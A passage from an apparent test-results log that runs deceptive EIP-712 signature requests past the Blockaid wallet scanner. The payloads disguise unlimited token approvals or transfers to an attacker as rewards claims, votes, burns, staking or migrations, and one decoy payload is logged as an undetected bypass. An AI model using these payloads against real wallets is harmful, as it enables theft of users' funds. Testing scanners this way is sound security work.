Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:26:13.334Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:26:22.504Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:26:31.679Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:26:40.842Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:26:50.000Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:26:59.168Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:27:08.347Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:27:17.522Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:27:26.682Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:27:35.843Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:27:44.983Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:27:54.303Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:28:03.468Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:28:12.622Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:28:21.794Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:28:30.961Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:28:40.123Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:28:49.309Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN11-EIP3009-022", "timestamp": "2026-01-31T16:28:58.519Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xad5f1ef6f33929e7c6ecb78b521281b9da4d855c1fa5b74748df03534429720f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN11-EIP3009-054", "timestamp": "2026-01-31T16:29:05.051Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": 